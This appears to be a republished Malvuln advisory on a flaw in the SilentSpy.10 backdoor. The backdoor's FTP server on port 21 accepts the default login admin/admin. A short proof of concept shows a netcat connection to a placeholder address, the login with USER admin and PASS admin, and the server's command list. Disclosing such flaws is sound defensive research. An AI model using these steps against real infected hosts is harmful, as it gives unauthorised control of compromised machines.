Backdoor.Win32.SilentSpy.10 / Authentication Race Condition

2022.01.01
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.SilentSpy.10 Vulnerability: Authentication Race Condition Description: The malware runs an FTP server on TCP port 21. Third-party attackers who can reach the system before a password has been set can logon using default credentials of admin/admin. The default credentials are displayed in the FTP banner upon connecting. Type: PE32 MD5: a7ce38e60cf08f2b234f34043b87e701 Vuln ID: MVID-2021-0441 Disclosure: 12/31/2021 Exploit/PoC: nc64.exe x.x.x.x 21 220-+-----------------------+ 220-| º∩LΘn7 ºpy FTP server | 220-+-----------------------+-------------------------------------------------+ 220-| To use the FTP server type, | 220-| USER admin | 220-| PASS [servers password] | 220-| IF the server doesn't have a password then the password is also 'admin' | 220-| Have fun [type HELP for more commands] | 220 +-------------------------------------------------------------------------+ USER admin 331 and the password for admin is .. ?? PASS admin 230 Welcome SYST 215 IBM-PC (Windows95/98/NT based system) HELP 214-The following commands are recognized: ABOR DELE NOOP REIN SITE SYST XRMD ACCT HELP PASS REST SMNT TYPE SIZE ALLO LIST PASV RETR STAT USER APPE MKD PORT RMD STOR XCWD CDUP MODE PWD RNFR STOU XMKD CWD NLST QUIT RNTO STRU XPWD 214 Send comments to drtinus@yahoo.com Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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